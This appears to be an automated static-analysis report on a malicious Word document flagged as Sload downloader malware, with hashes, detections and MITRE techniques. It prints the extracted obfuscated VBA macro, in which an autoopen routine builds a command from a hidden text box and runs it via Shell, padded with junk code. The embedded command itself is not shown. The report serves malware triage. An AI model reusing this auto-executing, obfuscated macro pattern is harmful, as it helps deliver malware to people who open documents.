Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 718a5dde8a3f8887…

MALICIOUS

Office (OLE)

80.8 KB Created: 2018-12-13 08:38:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: a226fc98550a5d4acfbfce164e306ae2 SHA-1: 311425bc36fb82b984d6cf4dbacc39dfb7eea430 SHA-256: 718a5dde8a3f88876e81e21bfae2d095e21d33cf5eea16c1f6c66a7c06c7691b
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an autoopen macro, which is a common technique for executing malicious code upon opening the document. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, strongly suggesting the macro attempts to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Sload-6784183-0' further confirms its malicious nature. The obfuscated nature of the VBA code prevents a more detailed analysis of the specific payload or C2 communication.

Heuristics 9

  • ClamAV: Doc.Malware.Sload-6784183-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-6784183-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(WnCZdfR, wcUqB), DXOFbYd)
   Set FVfdKoAiKmiWXP = uLJbOkBBYHcTiBXuLzaE
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iCwvbljkU
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7206 bytes
SHA-256: 5e10ce5673d6f51ca10a1e46da1d93407bd19c03282bca179f424946252215f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
199 of 230 identifiers look randomly generated (e.g. 'tHkhvavWKSifIbSWoNmQBJdU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NXABcKAzZBTGzZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
iCwvbljkU
End Sub

Attribute VB_Name = "kIctrGqM"
Function iCwvbljkU()
On Error Resume Next
   Set ioFMCGHIJrtzjhGHhSb = fduiKXdFirUzkK
   Select Case jUtwqsQOWspvcHwzMH
      Case 71676731
         BtaCfdCiRXvNZKXmoTkLOPX = VbAzftIpZRWpurTNqmwzwc
         SkMJsWzilWnjDcEwXP = 41688844
         HohszAXVcTXqsFiNSkPSZn = TGKPklnYkqnOiCTLrziBS
      Case 332769807
         owurjnznOUDOmnlnjoumzEqE = CByte(wZXTvlSUIWQpuHll)
         ZuanhXGLuMXLwj = ChrW(qjhNbUSikudRUwp)
         IBzfwdXRBRHBYuJKmIwOa = Log(JhGLptDGmNFfPJADLMJ)
   End Select
   Set NYVEjBvcChbAhhMCoP = FCVZssUwaLJfEjYj
   Select Case HFHhaWwSOVMpXHC
      Case 45723180
         PQszcLMCVRtCWQIwH = iIifjXGdWIJDDGYmTIrGitv
         FEEQsEDrPMTwmkkUswoD = 298909768
         NmdjwAGBPoNAZbSql = ESnrnZAjXWNfFrloq
      Case 119338256
         IIDkOwilmLJCCNWwbdWzEj = CByte(dkokjVOlkADdJBiZ)
         InNYOUKSisKKUThYuazaMuQ = ChrW(ZYBwkMztEcqQVpPPdSB)
         EaQhVEObiziOXpwpTLiV = Log(QGrcRDFLkwutnTwITcfzVLFu)
   End Select
   Set QKlJvNNWwZsvjjoVcT = fRVBjYEWNZIuTB
   Select Case kpWajNBHcEZpvrkKZz
      Case 186692088
         DvIEkrrAwoiZuPwwwBmqiK = wHjIfcPiwqNQpjRqpVBLoZz
         fslLYLlJtCLzBiMXhFiijzJ = 120903442
         LzUdwEXHodmqDKlEEWmU = oGJdiirROjjTfMNQju
      Case 328595869
         pNFZhdvzdccWzMXqLzUWfq = CByte(zDWYzXnYbojibBkvAmu)
         mDNVSpXFjabIznIWKFwZpE = ChrW(hRhvoaEUklDntp)
         FIAirBNXintNku = Log(UziCjEltifcFqXwAOjKAqY)
   End Select
Const wcUqB = 0
   Set tGziJuzjsnChLE = LwTFlDwmkTJtnELJARXha
   Select Case XNnTlrirXziMwkbhQwzTPL
      Case 403414
         LfjiBQnWJYZFSS = FItvKLaHbiSBZkGXL
         lHGKzpHLLDYKVPwf = 286694998
         VPppkXEwjOOlCANr = KMvIEozzWjRMDDttvCwY
      Case 315200370
         iFDFszZBXwdioTwCRb = CByte(qNnnjjLUsGwRTkmdpEwwCa)
         LViUOawtkViFJvSUZj = ChrW(huZiKzBpGzSinPsbSALz)
         vNNwlfdiXkZQZtamqYXNkqv = Log(qupQTzUNjilhLhYSX)
   End Select
   Set XNjbGEwDzuUUPfsfwU = jozmmdfkGPctrsJKN
   Select Case WplZzPPNQXmQAvlb
      Case 74952990
         ZbuzbUqnUAdcGVfScfiKo = WYNHzqPhIPhbkmTZORjMu
         knRRliSGzBtrEVjTW = 341814832
         nsNuiltzDRNacnHoZqj = jOBSjishzpuujn
      Case 48910603
         XtmjsjPokaREwhJdpv = CByte(YquOwsLBOXSroflRjEAMzzM)
         FRnkQfQFowifcipnhhARR = ChrW(cYLPdZpiuZdMIfEaliGND)
         zFpCOMfQwvQXoPZACrPFBJB = Log(VJiGvSLEikbFaaKdD)
   End Select
   Set XwiuwTQqvHltZICMC = CYaptoGnzLCqzq
   Select Case pKdLpivtTjdiiwHvNzkcAri
      Case 30467809
         oIVFnEKvwjzYBNZGfGJQKbq = QprMNuwcYRAVZojbTijMKW
         lLWVkZojMRfowMzh = 25951323
         VAjMDjqahwbvdfudFBrZN = kinDuAhOWBccpW
      Case 187306670
         IpiKrsHRnAuUGwqiXSP = CByte(YzmqsSaaTBqXAj)
         CuDKsbWQtFMIZKzEWGbBICo = ChrW(ZRhzmJWUaDokTHXZB)
         skjKAPWzTRZikzFmlatZi = Log(jshWWMlOiBAZJDkORRboq)
   End Select
   Set XlhTccKhRbfjzk = tKDZOEQqGqhjrwXGwIKavA
   Select Case mwFlKGOwAzilzS
      Case 263857162
         vHvbduwTluVianKutH = dJTGjrrhhJKXoImOS
         ZZszmzPlfXMoor = 289960720
         KNbALjlMPKaWha = YrtUiYiXUqwMTUsVTfmwZm
      Case 119694386
         pnfkbYtEFjnzuXJcfqHKNW = CByte(rWpHrubPmZEiuttvw)
         tHkhvavWKSifIbSWoNmQBJdU = ChrW(YpsPjmuKMTPhKb)
         LUkJjHRcLYFfIfvki = Log(fWkCHbjnUvIDpdmYE)
   End Select
WnCZdfR = NXABcKAzZBTGzZ.TextBox1 + TpfhWzjc + Bndit + izlDhhDs + BWJbz + EiXiL + XTBCzl + RclWXR + dfzoEiQO
   Set wfwGOLNZPImjKWJQ = ZkkoXZOzoBMGaOmapBE
   Select Case PcKSoYEINLjDEb
      Case 132033204
         iWZFhIZKATptAGVVENLwZ = zwVGkcUJBwuEvScwV
         CzSVjKHHqLwqQXH = 88898768
         ajbYwqrRqzvKCtGsEu = ziPLwcmJKLhXzivBOti
      Case 39763852
         aDsLMzoRswMchOsK = CByte(cvKjjGIbwcGrrwVoQYb)
         zmfwrSNVuPUDrpRmvd = ChrW(zkjOVhZAzqoRpRoZpPMoOtn)
         iHDABhjsmiimQYKQSRNiF = Log(ilCQcWjofDwCfNdZzSHwiKnC)
   End Select
   Set wDGOOWfiYjSzkO = BSwqLqrrjjFKfWZzifPuzj
   Select Case sXfiQkGZkvaJLiXFK
      Case 49625630
         WiJMAHzmnUUUpVAD = jIaGcKUOEMOSHZFmnJ
         jKfaRwTFQbloKbEZCjFuUp = 329211024
         ukUjuPhCLNUIBhJIJFEnTYD = CACFhPSuMkfjdmLAtjcwHwY
      Case 136172978
         wlPkKbWhddtMbUwvZv = CByte(CciWuDtkvGjGchiki)
         JBIJzzJRnROjBh = ChrW(HSuROVjRraauXR)
         tjSsPtItdfNcQbVPFBGU = Log(nTPhdkQiYFlzIXfOI)
   End Select
   Set jKMMvYHIdfjlRRJTzcuvUh = CBmzNaRDicWnJlnMm
   Select Case fnCnCJdatdlTwSws
      Case 68111312
         IbtiMbBIuiAhKQHl = tPOwcTnhoSPdEoQbbDLPzb
         muPzZLSVLNcFdvMjHGA = 154290934
         miqqjGiMwWsSncE = TNVVwEQbinfOXDJw
      Case 25259400
         APYJqFkJOqkmpTISn = CByte(fBMhNPHwaTotMvOVcopKXPl)
         qaqwzMGFPRQCFSCJCufQUU = ChrW(oXTrTddUPPYrnYKwONjd)
         fMQJmjHckVTVvCYdUnbmwAm = Log(aOkrwRDlrjJLDhjzWsfu)
   End Select
rWmUtZH = Array(wiZjjXvPj, RiiMsM, nGiPEUr, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(WnCZdfR, wcUqB), DXOFbYd)
   Set FVfdKoAiKmiWXP = uLJbOkBBYHcTiBXuLzaE
   Select Case UcMPbWFFvfDKzTC
      Case 80731981
         mPEUHWiVRcmsXXzKUaiwMn = vwcbZJkiUhVNKAoN
         iuJuTNXHGzdsUPc = 335787849
         IYivJLhuRKBKmK = NcSSdTciFTTJHqASsOIr
      Case 104143995
         KVicACCVzTpwfrzKVijpZ = CByte(pCZDQsIwiTQiRwjATaj)
         WzTKKIUisaKaJiffDwlKM = ChrW(pWjAZAaVOGJpFq)
         OtIXaEDIqVjRDwXoVWVKz = Log(KiUHXLERTdozoDdnmwlN)
   End Select
   Set JRdkGQQXGEjJIAvDhSiiYSv = MUtDzHzQLiaXBH
   Select Case UiwfZQkAMIQWRkjVqWbY
      Case 249655534
         MXwFSwdZYCZmOAbmVl = ThujlhjfIjBZjtzVYhTz
         WmkNwiWfuEApvSpSoNYmT = 135892138
         XcqtQiCFCoqzvKVoCJzOfA = nbIDkTvLSCwMlFlFBrzwB
      Case 32109839
         tITZVcUFKWsDSIbSlG = CByte(YuwzkiRDzXjChiGOuQuZ)
         wwmpsCSzaYNrZjZvLjqEY = ChrW(iiULUMthCqjuawMHsf)
         GXwSLICjTjhEVJbNHVhhGEtW = Log(LfGbiDqKFSwkMJCSfa)
   End Select
   Set JYWapSitusVIJZjiR = jYLzioPGNKhCaITiDG
   Select Case zpcYqFCmjUszivtkkFJqhLi
      Case 34912825
         MsSMpiVapRiGAUufBi = ULCGjYiYuPLoGXEiMkarqX
         pdLdklOKfcwlIJlloHF = 178654612
         ddbjvphvbrvwmNcV = wmjFfLJmwVbwljkwOLAjuow
      Case 212220438
         DlBoVvIPtJTuFwRRz = CByte(UGwpHLAXCcmAKqAqbaIwaaSi)
         aRBJNjRzocZRNdqnwsjdtwc = ChrW(OWqJzZtnNzhtzOptUCVOaZN)
         SKchmFzbpGuqsIwPilDQwwoj = Log(mIqdNUpJtqowMB)
   End Select
   Set lfjSJBXqVDMSHVvGSoTNDQw = QVARABSFUIvfYciCHlrXtW
   Select Case GOnpajzoVjrBoBFpUlHwza
      Case 105027209
         pJQGSYbvtjtDNLrVWTawj = qBBvWlmYqjwFARTrWwE
         IHHCbJtlcfzRBOTOEWBpJVpM = 33086135
         LaBizitkSiuzTNs = wKhhDlzEnzuPnm
      Case 120848136
         wSwSkziVXRwkUEDozIZifXFZ = CByte(zqzjizjQwCAPZQwcLKlp)
         kjwGSiNnQZNYpmGk = ChrW(sUQUVBCYXsaCTNTkPNHBcM)
         ScidnqjdssZRRZsOi = Log(hummlwLuoaZwiJfBzsnXPhn)
   End Select
End Function

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